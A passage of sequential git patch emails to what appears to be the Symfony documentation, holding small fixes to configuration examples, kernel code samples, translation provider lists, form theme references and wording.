+++ b/reference/configuration/framework.rst
@@ -1383,7 +1383,7 @@ The possible values for this option are:
 
 * ``null``, use it to disable this protection. Same behavior as in older Symfony
   versions.
-* ``'none'`` (or the ``Cookie::SAMESITE_NONE`` constant), use it to allow
+* ``'none'`` (or the ``Symfony\Component\HttpFoundation\Cookie::SAMESITE_NONE`` constant), use it to allow
   sending of cookies when the HTTP request originated from a different domain
   (previously this was the default behavior of null, but in newer browsers ``'lax'``
   would be applied when the header has not been set)

From 32efa2d7abf8f6ea624e3627a198dd7122ee29b1 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sun, 30 May 2021 00:34:30 +0200
Subject: [PATCH 0898/5766] Minor rewording

---
 session/database.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/session/database.rst b/session/database.rst
index 8bf72d00768..b9ddfd2e9fd 100644
--- a/session/database.rst
+++ b/session/database.rst
@@ -5,7 +5,7 @@ Store Sessions in a Database
 ============================
 
 Symfony stores sessions in files by default. If your application is served by
-multiple servers, you'll need to use instead a database to make sessions work
+multiple servers, you'll need to use a database instead to make sessions work
 across different servers.
 
 Symfony can store sessions in all kinds of databases (relational, NoSQL and

From f16dac027e880e0c4ec4de4a26de6778c281761f Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sun, 30 May 2021 01:55:39 +0200
Subject: [PATCH 0899/5766] Fixing code sample

This is now the usual way to do it, right? https://symfony.com/doc/current/configuration.html#configuration-parameters

In any case, `->setParameter()` results in:
> Call to undefined method "Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator::setParameter()".
---
 performance.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/performance.rst b/performance.rst
index 80e36849cc9..057970383c3 100644
--- a/performance.rst
+++ b/performance.rst
@@ -80,7 +80,7 @@ container into a single file, which could improve performance when using
         // config/services.php
 
         // ...
-        $container->setParameter('container.dumper.inline_factories', true);
+        $container->parameters()->set('container.dumper.inline_factories', true);
 
 .. _performance-use-opcache:
 

From 37c7c4b534ef35d02206024c09e375e8e016da6d Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sun, 30 May 2021 12:05:19 +0200
Subject: [PATCH 0900/5766] Adding opcache.preload_user

Without this, I can't restart PHP 8 and the service status shows this error:

> Fatal Error "opcache.preload_user" has not been defined

Passing `www-data` is the best guess here, right?
---
 performance.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/performance.rst b/performance.rst
index 80e36849cc9..709d938d276 100644
--- a/performance.rst
+++ b/performance.rst
@@ -115,6 +115,9 @@ You can configure PHP to use this preload file:
 
     ; php.ini
     opcache.preload=/path/to/project/config/preload.php
+    
+    ; required for opcache.preload:
+    opcache.preload_user=www-data
 
 .. _performance-configure-opcache:
 

From 3a3565834c25ca92b9518f4c43702fc9c04886d3 Mon Sep 17 00:00:00 2001
From: Mathieu Santostefano <msantostefano@jolicode.com>
Date: Sun, 30 May 2021 00:36:03 +0200
Subject: [PATCH 0901/5766] Remove PoEditor Provider

---
 translation.rst | 10 +---------
 1 file changed, 1 insertion(+), 9 deletions(-)

diff --git a/translation.rst b/translation.rst
index a1cf7d2645e..a612c218454 100644
--- a/translation.rst
+++ b/translation.rst
@@ -606,7 +606,7 @@ them the new contents to translate frequently and merge the results back in the
 application.
 
 Instead of doing this manually, Symfony provides integration with several
-third-party translation services (e.g. Crowdin or PoEditor). You can upload and
+third-party translation services (e.g. Crowdin or Lokalise). You can upload and
 download (called "push" and "pull") translations to/from these services and
 merge the results automatically in the application.
 
@@ -622,7 +622,6 @@ Provider              Install with
 Crowdin               ``composer require symfony/crowdin-translation-provider``
 Loco (localise.biz)   ``composer require symfony/loco-translation-provider``
 Lokalise              ``composer require symfony/lokalise-translation-provider``
-PoEditor              ``composer require symfony/po-editor-translation-provider``
 ====================  ===========================================================
 
 Each library includes a :ref:`Symfony Flex recipe <symfony-flex>` that will add
@@ -654,7 +653,6 @@ Provider               DSN
 Crowdin                crowdin://PROJECT_ID:API_TOKEN@ORGANIZATION_DOMAIN.default
 Loco (localise.biz)    loco://API_KEY@default
 Lokalise               lokalise://PROJECT_ID:API_KEY@default
-PoEditor               poeditor://PROJECT_ID:API_KEY@default
 =====================  ==========================================================
 
 To enable a translation provider, add the correct DSN in your ``.env`` file and
@@ -720,11 +718,6 @@ configure the ``providers`` option:
     in order to override the default value (which follow the `ISO 639-1`_ succeeded by a sub-code
     in capital letters that specifies the national variety (e.g., "GB" or "US" according to `ISO 3166-1 alpha-2`_)).
 
-.. tip::
-
-    If you use PoEditor as provider, you have to define a `Default Reference Language`_ in your project,
-    otherwise your translations could not be correctly exported.
-
 Pushing and Pulling Translations
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -891,5 +884,4 @@ Learn more
 .. _`ISO 639-1`: https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes
 .. _`Translatable Extension`: https://github.com/doctrine-extensions/DoctrineExtensions/blob/main/doc/translatable.md
 .. _`Translatable Behavior`: https://github.com/KnpLabs/DoctrineBehaviors
-.. _`Default Reference Language`: https://poeditor.com/kb/setting-a-default-reference-language
 .. _`Custom Language Name setting`: https://docs.lokalise.com/en/articles/1400492-uploading-files#custom-language-codes

From 6aea5cce39c38ca0946c845ff7a1af70c8aba9c7 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 28 May 2021 16:19:04 +0200
Subject: [PATCH 0902/5766] [Validator] Use more realistic example

---
 reference/constraints/Compound.rst | 46 +++++++++++++++---------------
 1 file changed, 23 insertions(+), 23 deletions(-)

diff --git a/reference/constraints/Compound.rst b/reference/constraints/Compound.rst
index 95d9ba10789..787889250ce 100644
--- a/reference/constraints/Compound.rst
+++ b/reference/constraints/Compound.rst
@@ -26,7 +26,7 @@ you can create your own named set or requirements to be reused consistently ever
 .. configuration-block::
 
     .. code-block:: php-annotations
-    
+
         // src/Validator/Constraints/PasswordRequirements.php
         namespace App\Validator\Constraints;
 
@@ -69,7 +69,7 @@ you can create your own named set or requirements to be reused consistently ever
                     new Assert\NotCompromisedPassword(),
                 ];
             }
-        }  
+        }
 
 Add ``@Annotation`` or ``#[\Attribute]`` to the constraint class if you want to
 use it as an annotation/attribute in other classes. If the constraint has
@@ -87,38 +87,38 @@ You can now use it anywhere you need it:
 
     .. code-block:: php-annotations
 
-        // src/User/RegisterUser.php
-        namespace App\User;
+        // src/Entity/User.php
+        namespace App\Entity\User;
 
-        use App\Validator\Constraints as AcmeAssert;
+        use App\Validator\Constraints as Assert;
 
-        class RegisterUser
+        class User
         {
             /**
-             * @AcmeAssert\PasswordRequirements()
+             * @Assert\PasswordRequirements()
              */
-            public $password;
+            public $plainPassword;
         }
 
     .. code-block:: php-attributes
 
-        // src/User/RegisterUser.php
-        namespace App\User;
+        // src/Entity/User.php
+        namespace App\Entity\User;
 
-        use App\Validator\Constraints as AcmeAssert;
+        use App\Validator\Constraints as Assert;
 
-        class RegisterUser
+        class User
         {
-            #[AcmeAssert\PasswordRequirements]
-            public $password;
+            #[Assert\PasswordRequirements]
+            public $plainPassword;
         }
 
     .. code-block:: yaml
 
         # config/validator/validation.yaml
-        App\User\RegisterUser:
+        App\Entity\User:
             properties:
-                password:
+                plainPassword:
                     - App\Validator\Constraints\PasswordRequirements: ~
 
     .. code-block:: xml
@@ -129,8 +129,8 @@ You can now use it anywhere you need it:
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
 
-            <class name="App\User\RegisterUser">
-                <property name="password">
+            <class name="App\Entity\User">
+                <property name="plainPassword">
                     <constraint name="App\Validator\Constraints\PasswordRequirements"/>
                 </property>
             </class>
@@ -138,17 +138,17 @@ You can now use it anywhere you need it:
 
     .. code-block:: php
 
-        // src/User/RegisterUser.php
-        namespace App\User;
+        // src/Entity/User.php
+        namespace App\Entity\User;
 
-        use App\Validator\Constraints as AcmeAssert;
+        use App\Validator\Constraints as Assert;
         use Symfony\Component\Validator\Mapping\ClassMetadata;
 
-        class RegisterUser
+        class User
         {
             public static function loadValidatorMetadata(ClassMetadata $metadata)
             {
-                $metadata->addPropertyConstraint('password', new AcmeAssert\PasswordRequirements());
+                $metadata->addPropertyConstraint('plainPassword', new Assert\PasswordRequirements());
             }
         }
 

From b295eeb4c0d0c386fa8604a70a4ebf2da01c9798 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Mon, 31 May 2021 19:14:13 +0200
Subject: [PATCH 0903/5766] Use BaseKernel class alias

This PR fixes a namespace conflict.
---
 configuration/override_dir_structure.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration/override_dir_structure.rst b/configuration/override_dir_structure.rst
index 050b5d58653..70c3b5b5d28 100644
--- a/configuration/override_dir_structure.rst
+++ b/configuration/override_dir_structure.rst
@@ -80,7 +80,7 @@ method::
     // src/Kernel.php
 
     // ...
-    class Kernel extends Kernel
+    class Kernel extends BaseKernel
     {
         // ...
 

From 6dc8933fdf74a7b3db287ad2ed1fbf6943eee46f Mon Sep 17 00:00:00 2001
From: Al-Saleh KEITA <28827545+askeita@users.noreply.github.com>
Date: Mon, 31 May 2021 22:49:59 +0200
Subject: [PATCH 0904/5766] Typo with backslashes

Added backslahes in SiteUpdateManager path.
---
 service_container.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container.rst b/service_container.rst
index 26822ceb57b..5aa5573c1b5 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -403,7 +403,7 @@ example, suppose you want to make the admin email configurable:
 
 If you make this change and refresh, you'll see an error:
 
-    Cannot autowire service "App\Service\SiteUpdateManager": argument "$adminEmail"
+    Cannot autowire service "App\\Service\\SiteUpdateManager": argument "$adminEmail"
     of method "__construct()" must have a type-hint or be given a value explicitly.
 
 That makes sense! There is no way that the container knows what value you want to

From 9f00cd8db21049e016740f773a4ecbaca40323c9 Mon Sep 17 00:00:00 2001
From: JakeFr <JakeFr@users.noreply.github.com>
Date: Tue, 1 Jun 2021 19:36:31 +0200
Subject: [PATCH 0905/5766] Update mime.rst

Hello,

Update code sample for MimeTypes : current reassign variable so code fails to run if you copy paste it fully.
---
 components/mime.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/components/mime.rst b/components/mime.rst
index 95206fa22e3..9f6b0aaec92 100644
--- a/components/mime.rst
+++ b/components/mime.rst
@@ -242,10 +242,10 @@ MIME types and file name extensions::
     $exts = $mimeTypes->getExtensions('image/jpeg');
     // $exts = ['jpeg', 'jpg', 'jpe']
 
-    $mimeTypes = $mimeTypes->getMimeTypes('js');
-    // $mimeTypes = ['application/javascript', 'application/x-javascript', 'text/javascript']
-    $mimeTypes = $mimeTypes->getMimeTypes('apk');
-    // $mimeTypes = ['application/vnd.android.package-archive']
+    $types = $mimeTypes->getMimeTypes('js');
+    // $types = ['application/javascript', 'application/x-javascript', 'text/javascript']
+    $types = $mimeTypes->getMimeTypes('apk');
+    // $types = ['application/vnd.android.package-archive']
 
 These methods return arrays with one or more elements. The element position
 indicates its priority, so the first returned extension is the preferred one.

From 0c245c37f5448075065904e0f388577a27fede9d Mon Sep 17 00:00:00 2001
From: Arne <1255879+arneee@users.noreply.github.com>
Date: Wed, 2 Jun 2021 10:15:06 +0200
Subject: [PATCH 0906/5766] Remove easy-deploy-bundle

---
 deployment.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/deployment.rst b/deployment.rst
index a0f85444b6d..c77798b0c30 100644
--- a/deployment.rst
+++ b/deployment.rst
@@ -80,9 +80,6 @@ Using Build Scripts and other Tools
 There are also tools to help ease the pain of deployment. Some of them have been
 specifically tailored to the requirements of Symfony.
 
-`EasyDeployBundle`_
-    A Symfony bundle that adds deploy tools to your application.
-
 `Deployer`_
     This is another native PHP rewrite of Capistrano, with some ready recipes for
     Symfony.
@@ -279,7 +276,6 @@ Learn More
 .. _`Platform.sh`: https://docs.platform.sh/frameworks/symfony.html
 .. _`Azure`: https://azure.microsoft.com/en-us/develop/php/
 .. _`fortrabbit`: https://help.fortrabbit.com/install-symfony-4-uni
-.. _`EasyDeployBundle`: https://github.com/EasyCorp/easy-deploy-bundle
 .. _`Clever Cloud`: https://www.clever-cloud.com/doc/php/tutorial-symfony/
 .. _`Symfony Cloud`: https://symfony.com/doc/master/cloud/intro.html
 .. _`Scalingo`: https://doc.scalingo.com/languages/php/symfony

From b0d93f3c02f09e60ab3093dd66515957cfa45b99 Mon Sep 17 00:00:00 2001
From: BrnvrlUoeey <66878250+BrnvrlUoeey@users.noreply.github.com>
Date: Tue, 1 Jun 2021 18:59:07 +0200
Subject: [PATCH 0907/5766] Complete App\Handler\HandlerCollection namespace

Convert App\HandlerCollection to App\Handler\HandlerCollection in code snippet in accordance with text description above.
---
 service_container/service_subscribers_locators.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 89d47104900..a0316738d8e 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -494,7 +494,7 @@ of the ``key`` tag attribute (as defined in the ``index_by`` locator option):
                 tags:
                     - { name: 'app.handler', key: 'handler_two' }
 
-            App\HandlerCollection:
+            App\Handler\HandlerCollection:
                 # inject all services tagged with app.handler as first argument
                 arguments: [!tagged_locator { tag: 'app.handler', index_by: 'key' }]
 

From 2c2572321911108930678433225403ebf7e2c667 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Thu, 3 Jun 2021 14:52:56 +0200
Subject: [PATCH 0908/5766] Update documentation for stable authenticator
 security

---
 _build/redirection_map                                      | 1 +
 event_dispatcher.rst                                        | 2 +-
 security.rst                                                | 6 +++---
 ...imental_authenticators.rst => authenticator_manager.rst} | 4 +---
 security/guard_authentication.rst                           | 2 +-
 5 files changed, 7 insertions(+), 8 deletions(-)
 rename security/{experimental_authenticators.rst => authenticator_manager.rst} (99%)

diff --git a/_build/redirection_map b/_build/redirection_map
index 1069505a81a..9f9a4fd54f7 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -515,3 +515,4 @@
 /frontend/encore/shared-entry /frontend/encore/split-chunks
 /testing/functional_tests_assertions /testing#testing-application-assertions
 /security/named_encoders /security/named_hashers
+/security/experimental_authenticators /security/authenticator_manager
diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index be7fe590e79..794a09bb83b 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -335,7 +335,7 @@ or can get everything which partial matches the event name:
 
     The ability to match partial event names was introduced in Symfony 5.3.
 
-The :doc:`new experimental Security </security/experimental_authenticators>`
+The :doc:`new authenticator-based Security </security/authenticator_manager>`
 system adds an event dispatcher per firewall. Use the ``--dispatcher`` option to
 get the registered listeners for a particular event dispatcher:
 
diff --git a/security.rst b/security.rst
index 466dfa7aacd..a12c4ad86e0 100644
--- a/security.rst
+++ b/security.rst
@@ -40,7 +40,7 @@ install the security feature before using it:
 
 .. tip::
 
-    A :doc:`new experimental Security </security/experimental_authenticators>`
+    A :doc:`new authenticator-based Security </security/authenticator_manager>`
     was introduced in Symfony 5.1, which will eventually replace security in
     Symfony 6.0. This system is almost fully backwards compatible with the
     current Symfony security, add this line to your security configuration to start
@@ -478,7 +478,7 @@ Limiting Login Attempts
     Login throttling was introduced in Symfony 5.2.
 
 Symfony provides basic protection against `brute force login attacks`_ if
-you're using the :doc:`experimental authenticators </security/experimental_authenticators>`.
+you're using the :doc:`authenticator-based authenticators </security/authenticator_manager>`.
 You must enable this using the ``login_throttling`` setting:
 
 .. configuration-block::
@@ -1501,7 +1501,7 @@ Authentication (Identifying/Logging in the User)
 .. toctree::
     :maxdepth: 1
 
-    security/experimental_authenticators
+    security/authenticator_manager
     security/form_login_setup
     security/reset_password
     security/json_login_setup
diff --git a/security/experimental_authenticators.rst b/security/authenticator_manager.rst
similarity index 99%
rename from security/experimental_authenticators.rst
rename to security/authenticator_manager.rst
index 10788ecd88e..58b1a2baf5d 100644
--- a/security/experimental_authenticators.rst
+++ b/security/authenticator_manager.rst
@@ -3,9 +3,7 @@ Using the new Authenticator-based Security
 
 .. versionadded:: 5.1
 
-    Authenticator-based security was introduced as an
-    :doc:`experimental feature </contributing/code/experimental>` in
-    Symfony 5.1.
+    Authenticator-based security was introduced in Symfony 5.1.
 
 In Symfony 5.1, a new authentication system was introduced. This system
 changes the internals of Symfony Security, to make it more extensible
diff --git a/security/guard_authentication.rst b/security/guard_authentication.rst
index a945cfb89e6..67934f61592 100644
--- a/security/guard_authentication.rst
+++ b/security/guard_authentication.rst
@@ -16,7 +16,7 @@ system, so we can learn more about Guard in detail.
 
 .. tip::
 
-    A :doc:`new experimental authenticator-based system </security/experimental_authenticators>`
+    A :doc:`new authenticator-based system </security/authenticator_manager>`
     was introduced in Symfony 5.1, which will eventually replace Guards in Symfony 6.0.
 
 Step 1) Prepare your User Class

From 4fd0bce4bc59e46c7eaf411adb69cf62f396ff1e Mon Sep 17 00:00:00 2001
From: Julien Bonnier <j.bonnier@gmail.com>
Date: Thu, 3 Jun 2021 16:09:01 -0400
Subject: [PATCH 0909/5766] Adding missing ntlm authentication mode to
 SwiftmailerBundle configuration

---
 reference/configuration/swiftmailer.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/reference/configuration/swiftmailer.rst b/reference/configuration/swiftmailer.rst
index 674cee6ae53..3c04762274e 100644
--- a/reference/configuration/swiftmailer.rst
+++ b/reference/configuration/swiftmailer.rst
@@ -152,7 +152,11 @@ auth_mode
 **type**: ``string``
 
 The authentication mode to use when using ``smtp`` as the transport. Valid
-values are ``plain``, ``login``, ``cram-md5``, or ``null``.
+values are ``plain``, ``login``, ``cram-md5``,, ``ntlm`` or ``null``.
+
+.. versionadded:: 3.0.4
+
+    The ``ntlm`` authentication mode was introduced in SwiftMailerBundle 3.0.4.
 
 spool
 ~~~~~

From a4724b615c56afc3e179d3a747386394a570caeb Mon Sep 17 00:00:00 2001
From: Alexander Menshchikov <amenshchikov@gmail.com>
Date: Fri, 4 Jun 2021 12:34:15 +0300
Subject: [PATCH 0910/5766] Update multiple_kernels.rst

---
 configuration/multiple_kernels.rst | 38 ++++++++++++++----------------
 1 file changed, 18 insertions(+), 20 deletions(-)

diff --git a/configuration/multiple_kernels.rst b/configuration/multiple_kernels.rst
index a0069b9be4b..bed2b75a60c 100644
--- a/configuration/multiple_kernels.rst
+++ b/configuration/multiple_kernels.rst
@@ -82,9 +82,10 @@ Kernel. Be sure to also change the location of the cache, logs and configuration
 files so they don't collide with the files from ``src/Kernel.php``::
 
     // src/ApiKernel.php
-    use Symfony\Component\Config\Loader\LoaderInterface;
-    use Symfony\Component\DependencyInjection\ContainerBuilder;
-    use Symfony\Component\HttpKernel\Kernel;
+    use Symfony\Bundle\FrameworkBundle\Kernel\MicroKernelTrait;
+    use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+    use Symfony\Component\HttpKernel\Kernel as BaseKernel;
+    use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
     class ApiKernel extends Kernel
     {
@@ -101,14 +102,9 @@ files so they don't collide with the files from ``src/Kernel.php``::
             }
         }
 
-        public function getProjectDir(): string
-        {
-            return \dirname(__DIR__);
-        }
-
         public function getCacheDir(): string
         {
-            return $this->getProjectDir().'/var/cache/api/'.$this->getEnvironment();
+            return $this->getProjectDir().'/var/cache/api/'.$this->environment;
         }
 
         public function getLogDir(): string
@@ -116,21 +112,23 @@ files so they don't collide with the files from ``src/Kernel.php``::
             return $this->getProjectDir().'/var/log/api';
         }
 
-        public function configureContainer(ContainerBuilder $container, LoaderInterface $loader)
+        protected function configureContainer(ContainerConfigurator $container): void
         {
-            $container->addResource(new FileResource($this->getProjectDir().'/config/api_bundles.php'));
-            $container->setParameter('container.dumper.inline_factories', true);
-            $confDir = $this->getProjectDir().'/config/api';
-
-            $loader->load($confDir.'/{packages}/*'.self::CONFIG_EXTS, 'glob');
-            $loader->load($confDir.'/{packages}/'.$this->environment.'/*'.self::CONFIG_EXTS, 'glob');
-            $loader->load($confDir.'/{services}'.self::CONFIG_EXTS, 'glob');
-            $loader->load($confDir.'/{services}_'.$this->environment.self::CONFIG_EXTS, 'glob');
+            $container->import('../config/api/{packages}/*.yaml');
+            $container->import('../config/api/{packages}/'.$this->environment.'/*.yaml');
+
+            if (is_file(\dirname(__DIR__).'/config/api/services.yaml')) {
+                $container->import('../config/api/services.yaml');
+                $container->import('../config/api/{services}_'.$this->environment.'.yaml');
+            } else {
+                $container->import('../config/api/{services}.php');
+            }
         }
 
-        protected function configureRoutes(RouteCollectionBuilder $routes): void
+        protected function configureRoutes(RoutingConfigurator $routes): void
         {
-            $confDir = $this->getProjectDir().'/config/api';
+            $routes->import('../config/api/{routes}/'.$this->environment.'/*.yaml');
+            $routes->import('../config/api/{routes}/*.yaml');
             // ... load only the config routes strictly needed for the API
         }
     }

From e4e7f1dff3d20fe401ceae72b9e019001027066d Mon Sep 17 00:00:00 2001
From: Alexander Menshchikov <amenshchikov@gmail.com>
Date: Fri, 4 Jun 2021 13:56:41 +0300
Subject: [PATCH 0911/5766] Update front_controllers_and_kernel.rst

---
 configuration/front_controllers_and_kernel.rst | 11 +++++------
 1 file changed, 5 insertions(+), 6 deletions(-)

diff --git a/configuration/front_controllers_and_kernel.rst b/configuration/front_controllers_and_kernel.rst
index fe3c8179ed0..45f60811f37 100644
--- a/configuration/front_controllers_and_kernel.rst
+++ b/configuration/front_controllers_and_kernel.rst
@@ -248,13 +248,12 @@ includes the following:
     The cached "service container" that represents the cached application
     configuration.
 
-``UrlGenerator.php``
-    The PHP class generated from the routing configuration and used when
-    generating URLs.
+``url_generating_routes.php``
+    The cached routing configuration that used when generating URLs.
 
-``UrlMatcher.php``
-    The PHP class used for route matching - look here to see the compiled regular
-    expression logic used to match incoming URLs to different routes.
+``url_matching_routes.php``
+    The cached configuration used for route matching - look here to see the compiled
+    regular expression logic used to match incoming URLs to different routes.
 
 ``twig/``
     This directory contains all the cached Twig templates.

From d344fde973c3d03cfb110f798d059156e64e264d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 4 Jun 2021 13:43:47 +0200
Subject: [PATCH 0912/5766] Minor tweak

---
 reference/configuration/swiftmailer.rst | 6 +-----
 1 file changed, 1 insertion(+), 5 deletions(-)

diff --git a/reference/configuration/swiftmailer.rst b/reference/configuration/swiftmailer.rst
index 3c04762274e..a83e86aa651 100644
--- a/reference/configuration/swiftmailer.rst
+++ b/reference/configuration/swiftmailer.rst
@@ -152,11 +152,7 @@ auth_mode
 **type**: ``string``
 
 The authentication mode to use when using ``smtp`` as the transport. Valid
-values are ``plain``, ``login``, ``cram-md5``,, ``ntlm`` or ``null``.
-
-.. versionadded:: 3.0.4
-
-    The ``ntlm`` authentication mode was introduced in SwiftMailerBundle 3.0.4.
+values are ``plain``, ``login``, ``cram-md5``, ``ntlm`` or ``null``.
 
 spool
 ~~~~~

From a0df26b07a0e60cdb8367afeab8cafa2cf5f80d8 Mon Sep 17 00:00:00 2001
From: Ezequiel Esnaola <ezequiel.esnaola@mercadolibre.com>
Date: Sat, 5 Jun 2021 02:30:13 -0300
Subject: [PATCH 0913/5766] Update chatters.rst

---
 notifier/chatters.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier/chatters.rst b/notifier/chatters.rst
index 237581556ec..a20dfd6b047 100644
--- a/notifier/chatters.rst
+++ b/notifier/chatters.rst
@@ -59,7 +59,7 @@ to add some interactive options called `Block elements`_::
 
     use Symfony\Component\Notifier\Bridge\Slack\Block\SlackActionsBlock;
     use Symfony\Component\Notifier\Bridge\Slack\Block\SlackDividerBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackImageBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackImageBlockElement;
     use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock;
     use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
     use Symfony\Component\Notifier\Message\ChatMessage;

From ded36b5429856c933e5ebeb5541bc41dce27bda4 Mon Sep 17 00:00:00 2001
From: Romain Monteil <monteil.romain@gmail.com>
Date: Sat, 5 Jun 2021 19:40:02 +0200
Subject: [PATCH 0914/5766] Fix incorrect class name for Twig configurations

---
 form/bootstrap5.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/bootstrap5.rst b/form/bootstrap5.rst
index 3608b20f562..1b706a6187b 100644
--- a/form/bootstrap5.rst
+++ b/form/bootstrap5.rst
@@ -61,7 +61,7 @@ configuration:
         // config/packages/twig.php
         use Symfony\Config\TwigConfig;
 
-        return static function(FrameworkConfig $twig) {
+        return static function(TwigConfig $twig) {
             $twig->formThemes(['bootstrap_5_layout.html.twig']);
 
             // ...

From a0c136915d01f658821343ec285821980bbd72ef Mon Sep 17 00:00:00 2001
From: Romain Monteil <monteil.romain@gmail.com>
Date: Sun, 6 Jun 2021 14:17:50 +0200
Subject: [PATCH 0915/5766] Adds references to new Form themes

---
 form/form_themes.rst | 22 +++++++++++++++++++---
 1 file changed, 19 insertions(+), 3 deletions(-)

diff --git a/form/form_themes.rst b/form/form_themes.rst
index cdcb1cb2e2c..570947c1972 100644
--- a/form/form_themes.rst
+++ b/form/form_themes.rst
@@ -33,21 +33,32 @@ in a single Twig template and they are enabled in the
   updated for `Bootstrap 4 CSS framework`_ styles.
 * `bootstrap_4_horizontal_layout.html.twig`_, same as
   ``bootstrap_3_horizontal_layout.html.twig`` but updated for Bootstrap 4 styles.
+* `bootstrap_5_layout.html.twig`_, same as ``bootstrap_4_layout.html.twig``, but
+  updated for `Bootstrap 5 CSS framework`_ styles.
+* `bootstrap_5_horizontal_layout.html.twig`_, same as
+  ``bootstrap_4_horizontal_layout.html.twig`` but updated for Bootstrap 5 styles.
 * `foundation_5_layout.html.twig`_, wraps each form field inside a ``<div>``
   element with the appropriate CSS classes to apply the default styles of the
   version 5 of `Foundation CSS framework`_.
 * `foundation_6_layout.html.twig`_, wraps each form field inside a ``<div>``
   element with the appropriate CSS classes to apply the default styles of the
   version 6 of `Foundation CSS framework`_.
+* `tailwind_2_layout.html.twig`_, wraps each form field inside a ``<div>``
+  element with the absolute minimum styles to make them usable. It is based on the
+  `Tailwind CSS form plugin`_.
 
 .. versionadded:: 5.1
 
     The ``foundation_6_layout.html.twig`` was introduced in Symfony 5.1.
 
+.. versionadded:: 5.3
+
+    The ``bootstrap_5_layout.html.twig``, ``bootstrap_5_horizontal_layout.html.twig`` and ``tailwind_2_layout.html.twig`` were introduced in Symfony 5.3.
+
 .. tip::
 
-    Read the article about the :doc:`Bootstrap 4 Symfony form theme </form/bootstrap4>`
-    to learn more about it.
+    Read the articles about :doc:`Bootstrap 4 Symfony form theme </form/bootstrap4>` and :doc:`Bootstrap 5 Symfony form theme </form/bootstrap5>`
+    to learn more about them.
 
 .. _forms-theming-global:
 .. _forms-theming-twig:
@@ -635,10 +646,15 @@ is a collection of fields (e.g. a whole form), and not just an individual field:
 .. _`bootstrap_3_horizontal_layout.html.twig`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bridge/Twig/Resources/views/Form/bootstrap_3_horizontal_layout.html.twig
 .. _`bootstrap_4_layout.html.twig`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bridge/Twig/Resources/views/Form/bootstrap_4_layout.html.twig
 .. _`bootstrap_4_horizontal_layout.html.twig`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bridge/Twig/Resources/views/Form/bootstrap_4_horizontal_layout.html.twig
+.. _`bootstrap_5_layout.html.twig`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bridge/Twig/Resources/views/Form/bootstrap_5_layout.html.twig
+.. _`bootstrap_5_horizontal_layout.html.twig`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bridge/Twig/Resources/views/Form/bootstrap_5_horizontal_layout.html.twig
 .. _`Bootstrap 3 CSS framework`: https://getbootstrap.com/docs/3.4/
-.. _`Bootstrap 4 CSS framework`: https://getbootstrap.com/docs/4.4/
+.. _`Bootstrap 4 CSS framework`: https://getbootstrap.com/docs/4.6/
+.. _`Bootstrap 5 CSS framework`: https://getbootstrap.com/docs/5.0/
 .. _`foundation_5_layout.html.twig`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bridge/Twig/Resources/views/Form/foundation_5_layout.html.twig
 .. _`foundation_6_layout.html.twig`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bridge/Twig/Resources/views/Form/foundation_6_layout.html.twig
 .. _`Foundation CSS framework`: https://get.foundation/
+.. _`tailwind_2_layout.html.twig`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bridge/Twig/Resources/views/Form/tailwind_2_layout.html.twig
+.. _`Tailwind CSS form plugin`: https://tailwindcss-forms.vercel.app/
 .. _`Twig "use" tag`: https://twig.symfony.com/doc/2.x/tags/use.html
 .. _`Twig parent() function`: https://twig.symfony.com/doc/2.x/functions/parent.html

From 6b051ab4e198ede28227293fd2a8724112ce59d2 Mon Sep 17 00:00:00 2001
From: Vasilij Dusko <vasilij@prado.lt>
Date: Sun, 6 Jun 2021 20:52:24 +0300
Subject: [PATCH 0916/5766] * setup.rst - bugfix

---
 setup.rst | 4 ++--
